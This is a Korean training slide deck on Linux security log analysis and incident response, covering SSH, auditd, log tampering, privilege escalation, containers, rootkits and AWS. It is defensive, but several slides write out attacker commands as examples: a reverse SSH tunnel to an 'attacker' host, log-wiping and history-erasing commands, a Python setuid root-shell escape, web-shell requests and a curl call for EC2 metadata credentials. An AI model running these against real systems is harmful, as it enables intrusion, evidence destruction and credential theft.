    🔧 PAM 주요 모듈
    pam_unix
    /etc/passwd, /etc/shadow 기반 인증 → auth.log에 기록
    pam_faillock / pam_tally2
    실패 횟수 제한, 계정 잠금 → Maximum number of tries exceeded
    pam_limits
    세션 자원 제한 — 드물게 로그에 나타남
    pam_google_authenticator / pam_duo
    MFA/2FA — 추가 인증 실패 시 로그에 표시
    📋 PAM 로그 예시
    # 계정 잠금
    sshd: pam_faillock: user alice locked
    sshd: Maximum authentication attempts exceeded
    # 세션 오픈/종료
    sshd: pam_unix(sshd:session): session opened for user alice
    sshd: pam_unix(sshd:session): session closed for user alice
    # MFA 실패
    sshd: pam_google_authenticator: Verification code mismatch for alice
    pam_unix: session closed 로그 → 세션 종료 시점 파악, 세션 지속 시간 계산 가능
    sshd_config 보안 설정과 로그 영향
    sshd 설정이 어떻게 되어 있느냐가 어떤 이벤트가 로그에 남는지를 결정한다
    분석
    ⚙️ 보안 관련 주요 설정
    PermitRootLogin no — root SSH 로그인 금지
    PasswordAuthentication no — 키 인증만 허용
    MaxAuthTries 3 — 인증 시도 횟수 제한
    AllowUsers alice ops-team — 허용 사용자 목록
    LogLevel VERBOSE — 상세 로그 활성화
    PermitRootLogin yes — root 로그인 허용 (위험)
    PasswordAuthentication yes — 비밀번호 허용 (브루트포스 위험)
    🔍 설정이 로그에 미치는 영향
    AllowUsers 설정 시:
    허용 목록에 없는 계정 시도 시 User not allowed 로그
    MaxAuthTries 초과:
    Disconnecting: Too many authentication failures
    LogLevel VERBOSE:
    키 핑거프린트, 알고리즘 세부 정보 기록
    분석 전 환경의 sshd_config 확인 → 어떤 로그가 생성되는지 파악
    SSH 터널링과 포트포워딩 탐지
    SSH는 단순 원격 셸만이 아니다 — 터널링으로 방화벽을 우회하거나 내부망 횡단에 사용될 수 있다
    주의
    🌐 SSH 터널링 유형
    로컬 포트포워딩 (-L)
    ssh -L 8080:internal-server:80 user@bastion
    내부 서버로의 접근 채널
    원격 포트포워딩 (-R)
    ssh -R 9090:localhost:22 user@attacker
    공격자 서버에서 내부 접근 가능 — 역방향 채널
    동적 포트포워딩 (-D)
    ssh -D 1080 user@server
    SOCKS 프록시 → 모든 트래픽 터널링
    🔍 탐지 방법
    # VERBOSE 로그에서 터널링 힌트
    sshd: Accepted for alice - forwarded port 9090 to 127.0.0.1:22
    sshd: Connection from 203.0.113.5 on 127.0.0.1 port 9090
    • 비표준 포트 연결 (22 외 포트)
    • 세션 시간 대비 전송 데이터 양
    • AllowTcpForwarding no 설정 권장
    • 네트워크 흐름 분석과 결합
    보강 설명SSH 터널링과 포트포워딩 탐지 슬라이드는 SSH는 단순 원격 셸만이 아니다 — 터널링으로 방화벽을 우회하거나 내부망 횡단에 사용될 수 있다 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    계정출발지 IP후속 행위
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    grep/awk/sed로 로그 빠르게 분석하는 실전 패턴
    좋은 분석가는 어려운 명령어보다, 간단한 도구를 적절한 순서로 조합한다
    명령어
    🔍 즉시 쓰는 분석 패턴
    # 실패 IP 상위 10개
    grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head 10
    # 특정 IP 전체 이벤트
    grep "198.51.100.23" /var/log/auth.log | tail -50
    # 오늘 성공 로그인 목록
    grep "Accepted" /var/log/auth.log | grep "$(date '+%b %e')"
    # sudo 실행 명령 목록
    grep "COMMAND=" /var/log/auth.log | awk -F'COMMAND=' '{print $2}' | sort | uniq -c | sort -rn
    # 야간(22~06) 로그인만
    awk '/Accepted/{t=$3; if(t>="22:00" || t<"06:00") print}' /var/log/auth.log
    📊 auditd 로그 분석
    # 특정 사용자 execve 목록
    ausearch -ua 1001 -sc execve | aureport --cmdline
    # 파일 접근 감사
    ausearch -f /etc/sudoers --start today
    # 실패 로그인 요약
    aureport --auth --failed --summary
    # 압축 로그 검색
    zgrep "Accepted" /var/log/auth.log.*.gz | grep "203.0.113"
    ausearchaureport는 auditd 로그 분석 전용 도구
    SSH 키 관리 모범 사례와 감사 포인트
    키 기반 인증은 강력하지만, 관리가 허술하면 침해의 지속성 도구가 된다
    분석
    ✅ 키 관리 모범 사례
    • authorized_keys 파일 변경 이력 주기적 감사
    • 키 핑거프린트 목록 관리 (키 인벤토리)
    • 더 이상 사용하지 않는 키 즉시 삭제
    • 개인키에 passphrase 설정
    • 배포/자동화 키는 별도 서비스 계정으로 격리
    • 정기적인 키 로테이션 (6개월~1년)
    🔍 감사 명령어
    # 모든 계정 authorized_keys 검색
    find /home /root -name "authorized_keys" -ls 2>/dev/null
    # 최근 변경된 키 파일 (7일 이내)
    find /home /root -name "authorized_keys" -mtime -7 -ls
    # 특정 키 파일 내용 확인
    ssh-keygen -l -f /home/deploy/.ssh/authorized_keys
    # auditd로 파일 변경 감시 설정
    auditctl -w /home/deploy/.ssh/authorized_keys -p war -k ssh_key_change
    침해 후 대응: 비밀번호 변경만으로는 부족 — authorized_keys 전수 점검 + 신규 키 추가 여부 확인이 필수
    실시간 로그 모니터링: tail -f, journalctl -f, watch
    IR 초동 대응에서 실시간으로 로그를 보는 능력은 매우 중요하다
    명령어
    tail -f
    # 실시간 auth 로그
    tail -f /var/log/auth.log
    # 여러 파일 동시
    tail -f /var/log/auth.log /var/log/syslog
    # 패턴 필터
    tail -f /var/log/auth.log | grep -E "Failed|Accepted"
    텍스트 파일 실시간 감시
    journalctl -f
    # systemd 저널 실시간
    journalctl -f
    # SSH만 실시간
    journalctl -f -u sshd
    # 우선순위 필터
    journalctl -f -p err
    journald 기반 실시간 감시
    watch 활용
    # 2초마다 로그인 세션 갱신
    watch -n 2 "who | wc -l"
    # 최근 실패 횟수 모니터
    watch -n 5 "lastb | head -5"
    # cron 실행 현황
    watch -n 10 "grep CRON /var/log/syslog | tail -5"
    주기적 명령 실행 모니터
    💡 IR 초동 활용법
    의심 세션 발생 시: tail -f auth.logwho를 동시에 열고 실시간 감시 → 세션 지속 여부 즉시 파악
    오래된 로그 분석: logrotate, zgrep, 아카이브 처리
    침해가 오래 전에 시작됐을 경우 압축된 과거 로그까지 분석해야 한다
    명령어
    📂 logrotate 로그 파일 구조
    # 현재 로그
    /var/log/auth.log (오늘)
    /var/log/auth.log.1 (어제)
    /var/log/auth.log.2.gz (그제)
    /var/log/auth.log.3.gz (3일 전)
    /var/log/auth.log.4.gz (4일 전)
    오늘 파일만 보고 "없다"고 말하는 실수가 매우 흔하다 — 압축 로그까지 반드시 확인
    🔍 과거 로그 분석 명령
    # 압축 파일 검색
    zgrep "Accepted" /var/log/auth.log.*.gz
    # 특정 IP 전체 기간 검색
    zgrep "203.0.113.23" /var/log/auth.log* 2>/dev/null
    # 날짜 범위 검색 (Jan 10~12)
    for f in /var/log/auth.log*; do
    zgrep -h "Jan 1[012]" "$f" 2>/dev/null
    done | grep "Accepted"
    # journald 과거 부팅 세션
    journalctl --list-boots
    journalctl -b -1 -u sshd # 이전 부팅
    시간대(Timezone)와 NTP 불일치가 분석을 망치는 방법
    로그 시간이 뒤틀려 있으면 타임라인 재구성이 불가능해진다 — 항상 시간 기준을 먼저 확인하라
    주의
    ⚠️ 흔한 시간 문제
    서버 간 시간 불일치
    서버 A(KST), 서버 B(UTC) → 9시간 차이 발생
    NTP 미동기
    오래된 서버가 NTP 없이 수 시간 오차 누적
    DST 전환
    서머타임 적용 국가에서 1시간 점프 현상
    로그 전달 지연
    Syslog 전송 지연으로 SIEM 타임스탬프 ≠ 실제 시간
    🔧 시간 확인 명령
    # 현재 시간 및 타임존 확인
    timedatectl status
    date && date -u
    # NTP 동기화 상태
    timedatectl show | grep NTP
    chronyc tracking 2>/dev/null || ntpq -p
    # 로그 타임스탬프 확인
    head -5 /var/log/auth.log
    journalctl -n 1 --output=json | python3 -m json.tool | grep time
    분석 보고서에 항상 기준 시간대(UTC+9 등) 명시 필요
    보강 설명시간대(Timezone)와 NTP 불일치가 분석을 망치는 방법 슬라이드는 로그 시간이 뒤틀려 있으면 타임라인 재구성이 불가능해진다 — 항상 시간 기준을 먼저 확인하라 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    Fail2ban과 자동 차단 로그 이해하기
    Fail2ban이 있는 환경에서는 로그 패턴이 달라진다 — 자동 차단 동작을 이해해야 오탐을 피할 수 있다
    분석
    🛡️ Fail2ban 동작 원리
    1. auth.log에서 실패 패턴 감지 (maxretry 초과)
    2. iptables에 IP 자동 차단 룰 추가 (bantime)
    3. fail2ban.log에 ban/unban 기록
    4. 일정 시간 후 자동 해제 (findtime)
    # /var/log/fail2ban.log
    2024-01-12 02:06:30 fail2ban.actions: Ban 198.51.100.23
    2024-01-12 04:06:30 fail2ban.actions: Unban 198.51.100.23
    🔍 분석 포인트
    Ban 후 성공 로그인?
    차단됐는데 성공이 보이면 → 다른 IP/우회 사용
    Ban 전 실패 수가 적다?
    Password Spraying 의심 (느린 시도)
    Unban 직후 즉시 재시도?
    자동화된 공격 도구 사용
    Fail2ban이 있어도 성공 로그인은 막지 못함 — 성공 여부 반드시 확인
    보강 설명Fail2ban과 자동 차단 로그 이해하기 슬라이드는 Fail2ban이 있는 환경에서는 로그 패턴이 달라진다 — 자동 차단 동작을 이해해야 오탐을 피할 수 있다 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    핵심 개념확인 질문실무 연결
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    로그 삭제·조작 탐지: 공격자의 흔적 지우기
    공격자는 침해 흔적을 지우려 한다 — 로그 자체의 이상을 탐지하는 방법을 알아야 한다
    주의
    🔴 로그 삭제/조작 방법들
    # 로그 파일 삭제
    rm /var/log/auth.log
    truncate -s 0 /var/log/auth.log
    # 특정 내용 삭제
    sed -i '/198.51.100.23/d' /var/log/auth.log
    # bash history 삭제
    history -c && unset HISTFILE
    shred -u ~/.bash_history
    🔍 로그 조작 탐지 방법
    • 파일 크기가 갑자기 0이 됨
    • 타임스탬프 연속성 깨짐 (시간 점프)
    • journald는 로컬 삭제가 어려움 → 더 신뢰할 수 있음
    • 원격 syslog 서버로 전송된 로그와 비교
    • auditd 파일 감사 → rm/truncate/sed 명령 탐지
    • FIM(File Integrity Monitoring) 솔루션 활용
    로그가 없다 ≠ 사건이 없었다 — 원격 로그 서버 + journald가 삭제 방어의 핵심
    보강 설명로그 삭제·조작 탐지: 공격자의 흔적 지우기 슬라이드는 공격자는 침해 흔적을 지우려 한다 — 로그 자체의 이상을 탐지하는 방법을 알아야 한다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    다중 계정을 통한 권한 상승 체인
    공격자는 한 계정으로 직접 root를 얻기 어려울 때 여러 계정을 거쳐 권한을 올린다
    시나리오
    # 1. 일반 사용자로 초기 접근
    10:15:01 Accepted password for webuser from 203.0.113.5
    # 2. 약한 sudo 권한 확인 후 활용
    10:16:30 sudo: webuser ; USER=www-data ; COMMAND=/usr/bin/python3 /opt/script.py
    # 3. python3로 권한 상승 (GTFOBins 활용)
    10:17:02 audit: execve: a0="python3" a1="-c" a2="import os;os.setuid(0);os.system('/bin/bash')"
    # 4. root 쉘 획득
    10:17:05 audit: execve: uid=0 a0="/bin/bash"
    💡 GTFOBins 이해
    • sudo 허용된 특정 명령어로 쉘 탈출
    python3, perl, vi, less, find, nmap
    sudo -l 로 허용 명령 확인 후 악용
    🔍 탐지 핵심
    • auditd: python3 -c "import os;os.setuid..." 조합
    • sudo 허용 명령이 쉘을 실행하는 패턴
    • 일반 계정 세션에서 갑자기 uid=0 프로세스
    컨테이너 환경(Docker/Kubernetes)의 로그 특성
    컨테이너 환경에서 Linux 로그의 위치와 특성이 달라진다 — 호스트와 컨테이너 로그를 구분해야 한다
    개념
    🐳 Docker 환경 로그
    # 컨테이너 로그 확인
    docker logs [container-id]
    docker logs --since 1h [container-id]
    # 호스트의 Docker 이벤트
    docker events --filter type=container
    # 컨테이너 내부 접근 이벤트
    grep "docker exec\|docker run" /var/log/syslog
    # 또는 auditd에서 namespace 이벤트
    ⚠️ 컨테이너 보안 주의점
    • 컨테이너 내 root ≠ 호스트 root (원칙상)
    • 하지만 --privileged 옵션 또는 특정 취약점으로 탈출 가능
    • 컨테이너 삭제 시 로그도 사라짐 → 중앙 로그 수집 필수
    • docker exec로 컨테이너 접속 시 감사 로그 필요
    • Kubernetes: kubectl exec 감사 로그 (audit.log)
    컨테이너 환경에서 docker exec [id] bash = 컨테이너 내 셸 획득 → 호스트 로그에는 잘 안 보일 수 있음
    웹 서버 접근 로그와 보안 분석
    nginx/apache 접근 로그는 웹 기반 공격의 첫 번째 흔적이다 — 시스템 로그와 함께 봐야 한다
    분석
    📋 nginx 접근 로그 구조
    # Combined 포맷
    198.51.100.5 - - [12/Jan/2024:03:15:20 +0900]
    "GET /wp-admin/admin.php HTTP/1.1" 404 112
    "-" "Mozilla/5.0..." 0.001
    # 웹쉘 업로드 후 실행
    "POST /uploads/shell.php HTTP/1.1" 200 45
    "GET /uploads/shell.php?cmd=id HTTP/1.1" 200 23
    🔍 웹 공격 패턴 탐지
    URL에 ../, %2e%2e → Path Traversal
    UNION SELECT, OR 1=1 → SQL Injection
    /etc/passwd, /proc/self → LFI 시도
    짧은 시간 내 4xx 에러 급증 → 스캐닝
    웹쉘 실행 이후 auth.log SSH 성공 → 연결 포인트!
    # 상태코드 분석
    awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
    /proc 파일시스템을 통한 실행 중 프로세스 분석
    /proc은 메모리에 올라온 프로세스 정보를 실시간으로 보여주는 가상 파일시스템이다
    명령어
    📁 /proc 주요 경로
    # 특정 PID 정보
    cat /proc/[PID]/cmdline | tr '\0' ' ' # 실행 명령
    ls -la /proc/[PID]/exe # 실행 파일 경로
    cat /proc/[PID]/status | grep Uid # 실행 UID
    # 모든 실행 프로세스 스캔
    for pid in /proc/[0-9]*/exe; do
    ls -la "$pid" 2>/dev/null | grep "/tmp\|deleted"
    done
    🔍 악성 프로세스 탐지
    /proc/[PID]/exe → (deleted)
    파일이 삭제됐지만 프로세스는 살아있음 → 악성 가능성
    실행 파일 경로가 /tmp/dev/shm
    정상 프로세스는 보통 /usr/bin 계열
    ls -la /proc/*/exe 2>/dev/null | grep "/tmp"
    /tmp에서 실행 중인 프로세스 빠르게 탐지
    💡 IR 활용
    /proc은 로그가 삭제됐어도 지금 실행 중인 악성 프로세스를 찾는 데 사용할 수 있다
    환경변수와 LD_PRELOAD를 이용한 은닉 실행
    공격자는 환경변수를 조작해 탐지를 회피하거나 코드를 삽입할 수 있다
    주의
    ⚡ LD_PRELOAD 공격
    LD_PRELOAD: 프로그램 실행 전 공유 라이브러리 로드
    • 정상 시스템 함수(read, write, execve 등)를 후킹
    • 로그 기록 함수 자체를 무력화 가능
    # auditd execve에서 힌트
    type=EXECVE ... LD_PRELOAD=/tmp/.lib.so
    # 환경변수 확인
    cat /proc/[PID]/environ | tr '\0' '\n' | grep LD_
    🔍 기타 환경변수 은닉
    HISTFILE=/dev/null — bash history 비활성화
    HISTSIZE=0 HISTFILESIZE=0 — history 크기 0
    PS4='' + set +x — 디버그 트레이스 숨김
    auditd environ 규칙 + EDR의 환경변수 캡처가 탐지의 핵심
    보강 설명환경변수와 LD_PRELOAD를 이용한 은닉 실행 슬라이드는 공격자는 환경변수를 조작해 탐지를 회피하거나 코드를 삽입할 수 있다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    로그에서 IOC(침해 지표) 추출하기
    분석한 로그에서 구조화된 IOC를 추출하면 위협 인텔리전스와 연동하거나 다른 시스템에서 재탐지할 수 있다
    분석
    📋 IOC 유형별 추출 방법
    # IP 주소 추출
    grep "Failed\|Accepted" auth.log | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | sort -u
    # 악성 URL 추출 (auditd)
    grep "curl\|wget" audit.log | grep -oP 'http[s]?://[^\s"]+' | sort -u
    # 파일 해시 생성 (/tmp)
    find /tmp -type f -exec md5sum {} \; 2>/dev/null
    # 신규 계정 목록
    awk -F: '$3>=1000 && $3!=65534{print $1,$3}' /etc/passwd
    📊 IOC 종류와 활용
    IP/도메인 IOC
    위협 인텔리전스 플랫폼(VirusTotal, AbuseIPDB) 조회
    파일 해시(MD5/SHA256) IOC
    SIEM룰 + 다른 자산에서 동일 파일 탐지
    계정명/SSH 키 IOC
    전체 인프라에서 동일 계정/키 존재 여부 확인
    PART 12
    인시던트 대응과 실전 시나리오
    IR 프로세스 · 초동 대응 · 격리 · 복구 · 클라우드 Linux
    ⏱ 80분 | 심화 보충
    보강 설명인시던트 대응과 실전 시나리오 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Linux 침해 사고 대응(IR) 프로세스 개요
    분석이 Incident로 판정되면 IR 프로세스가 시작된다 — 분석가는 이 흐름을 이해해야 한다
    개념
    🔍
    1. 탐지
    Alert 발생
    초기 판단
    📋
    2. 분류
    Triage
    심각도 판정
    🔒
    3. 봉쇄
    격리
    확산 방지
    🧹
    4. 제거
    악성 요소
    삭제/차단
    🔧
    5. 복구
    서비스
    정상화
    📝
    6. 보고
    문서화
    개선 환류
    💡 분석가의 역할
    1~2단계(탐지·분류)를 잘 수행하면 IR 팀이 3~6단계를 효율적으로 진행할 수 있다 — 좋은 triage 보고서가 IR 속도를 결정한다
    보강 설명Linux 침해 사고 대응(IR) 프로세스 개요 슬라이드는 분석이 Incident로 판정되면 IR 프로세스가 시작된다 — 분석가는 이 흐름을 이해해야 한다 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    명령행경로외부 연결
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    Linux Incident 초동 대응 체크리스트
    첫 5분이 중요하다 — 초동에서 놓치는 것이 나중에 분석 공백을 만든다
    Triage
    🚨 즉시 확인 (0~5분)
    현재 접속 중인 세션 확인 (who, w, last)
    의심 IP 현재 접속 여부 (netstat -tnp, ss -tnp)
    실행 중인 의심 프로세스 (ps auxf, top)
    최근 auth.log/auditd 이벤트 (tail -100)
    격리 여부 즉시 판단
    📋 증거 보존 (5~15분)
    메모리 덤프 (가능하면)
    의심 파일 해시 + 복사본 보존
    로그 파일 스냅샷 (원본 보존)
    crontab/authorized_keys/sudoers 보존
    네트워크 연결 상태 스냅샷
    격리 전 증거 수집! 격리 후 일부 정보(메모리, 연결 상태)는 사라질 수 있음
    보강 설명Linux Incident 초동 대응 체크리스트 슬라이드는 첫 5분이 중요하다 — 초동에서 놓치는 것이 나중에 분석 공백을 만든다 보고 문장은 다음 팀이 바로 행동할 수 있을 정도로 조치 방향까지 보여줘야 한다.
    증거 보존에스컬레이션협업
    핵심 포인트
    • 사실과 추론을 분리하면 보고 문장의 신뢰도가 높아진다
    • 현재 진행 중인 세션 여부가 대응 속도를 결정한다
    • 격리·차단 전에도 보존해야 할 로그와 파일을 먼저 정리하기
    추가 확인
    • 자산 중요도와 업무 영향도를 함께 적어 의사결정 돕기
    • IAM·운영·IR 등 어떤 팀과 연결할지 분명히 하기
    • 보고 대상이 기술팀인지 의사결정자인지에 따라 표현 조정
    실무 적용
    • 좋은 판단문은 다음 팀이 바로 행동할 수 있게 쓴다
    • 증거 수집 범위와 후속 점검 범위를 구분해 적기
    • 조기 공유가 늦은 완벽함보다 더 안전한 경우가 많다
    침해 서버 격리 방법과 운영 영향 고려
    격리는 확산을 막는 중요한 조치지만, 운영 영향을 고려해 신중하게 결정해야 한다
    분석
    🔒 격리 방법
    # 즉시 외부 연결 차단 (iptables)
    iptables -I INPUT -s 203.0.113.5 -j DROP
    iptables -I OUTPUT -d 203.0.113.5 -j DROP
    # SSH 포트 제한 (관리자만)
    iptables -I INPUT -p tcp --dport 22 ! -s 10.0.0.0/8 -j DROP
    # 특정 사용자 SSH 차단 (sshd)
    echo "DenyUsers admin backupsvc" >> /etc/ssh/sshd_config
    systemctl reload sshd
    # 의심 계정 잠금
    usermod -L backupsvc # 계정 잠금
    passwd -l backupsvc # 비밀번호 잠금
    ⚖️ 격리 수준 결정
    경량 격리: 의심 IP/계정만 차단
    서비스 영향 최소화
    중간 격리: 내부망만 허용, 외부 차단
    일부 서비스 제한 가능
    완전 격리: 네트워크 완전 단절
    서비스 중단 감수
    운영 서버 격리 전 서비스 관리자 승인 필수 — SOC 독자 결정으로 격리하지 않는 것이 원칙
    루트킷과 은닉 기법 탐지
    루트킷은 시스템 자체를 조작해 존재를 숨기므로, 일반 명령어로는 탐지가 어렵다
    주의
    🔴 루트킷 주요 유형
    커널 루트킷 (LKM)
    커널 모듈로 삽입, ps/ls/netstat 결과 조작
    유저스페이스 루트킷
    LD_PRELOAD로 시스템 함수 후킹
    Bootkit
    부트로더/MBR 감염, 가장 탐지 어려움
    🔍 탐지 방법
    # rkhunter 스캔
    rkhunter --check --skip-keypress
    # chkrootkit 스캔
    chkrootkit
    # 로드된 커널 모듈
    lsmod | grep -v "$(modinfo -l)"
    루트킷이 의심되면 감염된 OS 명령어는 신뢰할 수 없음 → 라이브 부팅 CD나 원격 분석 필요
    보강 설명루트킷과 은닉 기법 탐지 슬라이드는 루트킷은 시스템 자체를 조작해 존재를 숨기므로, 일반 명령어로는 탐지가 어렵다 권한 변화와 지속성 흔적이 이어지는지까지 확인해야 사건의 무게를 알 수 있다.
    권한 변화지속성조치 우선순위
    핵심 포인트
    • sudo·su·systemd·cron·authorized_keys는 권한 흔적의 핵심
    • 새 계정 생성과 sudoers 변경은 장기 재진입 구조일 수 있다
    • 한 번의 root 쉘보다 이후 남긴 지속성 흔적이 더 중요할 수 있다
    추가 확인
    • 관련 파일 mtime과 service enable 흔적 점검
    • auditd execve와 auth 로그를 같이 묶어 주체를 확인
    • 새 계정·새 키·새 서비스가 같은 세션에서 생겼는지 보기
    실무 적용
    • 지속성이 여러 겹이면 동시에 제거해야 재침투를 막을 수 있다
    • IAM·운영팀과 함께 계정 통제 범위를 즉시 정리
    • 권한상승 이벤트는 영향도 높은 자산부터 우선 대응
    AWS EC2의 Linux 로그 특성
    클라우드 환경에서는 Linux 로그 외에 클라우드 플랫폼 고유의 감사 로그가 추가된다
    개념
    ☁️ AWS 추가 로그 소스
    CloudTrail
    IAM API 호출, EC2 시작/중지, 보안 그룹 변경 → 강력한 감사 로그
    VPC Flow Logs
    네트워크 흐름 기록, 외부 연결 탐지
    AWS Systems Manager Session Manager
    콘솔 세션 기록 (SSH 없이도 접근 가능)
    IMDSv2 / 메타데이터 접근
    169.254.169.254 접근 → 자격증명 탈취 시도
    🔍 EC2 특유 위협
    IAM Role 자격증명 탈취
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
    Instance Profile 악용
    EC2에 부여된 IAM 권한으로 다른 AWS 서비스 접근
    탐지: CloudTrail + Linux 로그 연계
    AWS 권한 사용 시점과 Linux 명령 실행 시점 타임라인 결합
    보강 설명AWS EC2의 Linux 로그 특성 슬라이드는 클라우드 환경에서는 Linux 로그 외에 클라우드 플랫폼 고유의 감사 로그가 추가된다 호스트·컨테이너·중앙 수집 로그를 함께 묶어야 누락이 줄어든다.
    컨테이너호스트수집
    핵심 포인트
    • 컨테이너 로그와 호스트 로그는 보이는 위치가 다르다
    • ephemeral 특성 때문에 중앙 수집이 없으면 흔적이 빠르게 사라진다
    • docker exec·kubectl exec 같은 운영 행위도 감사 대상이다
    추가 확인
    • stdout/stderr·host syslog·kube audit를 함께 보기
    • 컨테이너 내부 root와 호스트 권한의 차이를 구분하기
    • 이미지 변경·재배포·자동 재시작이 흔적을 덮지 않았는지 확인
    실무 적용
    • 워크로드 이름과 노드 이름을 같이 기록해 추적성 확보
    • 컨테이너 탈출 의심 시 호스트 레벨 로그로 바로 확장
    • 클라우드 메타데이터와 연계해 자산 맥락을 보강
    공급망 공격이 Linux에서 어떻게 나타나는가
    패키지/스크립트 배포 과정에서 악성 코드가 유입되면 Linux 로그로 탐지할 수 있다
    시나리오
    🎯 공급망 공격 경로
    패키지 변조
    npm/pip/apt 패키지에 악성 코드 삽입
    설치 시 postinstall 스크립트 실행
    배포 스크립트 변조
    CI/CD 파이프라인의 배포 스크립트 탈취/변조
    정상 배포처럼 보이지만 악성 코드 포함
    서버 감염
    배포 시 모든 서버에 악성 코드 전파
    대규모 감염
    🔍 Linux 로그 탐지 힌트
    배포 이후 모든 서버에서 동일 시간대 동일 명령 실행
    설치 스크립트 실행 직후 외부 URL 연결
    비정상 서버(배포 대상 아닌 서버)에서 동일 패턴
    auditd: 패키지 설치 중 curl/wget 실행 추적
    여러 서버에서 동시에 동일 이벤트 발생 = 자동화 공격 의심
    보강 설명공급망 공격이 Linux에서 어떻게 나타나는가 슬라이드는 패키지/스크립트 배포 과정에서 악성 코드가 유입되면 Linux 로그로 탐지할 수 있다 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    탐지예외플레이북
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
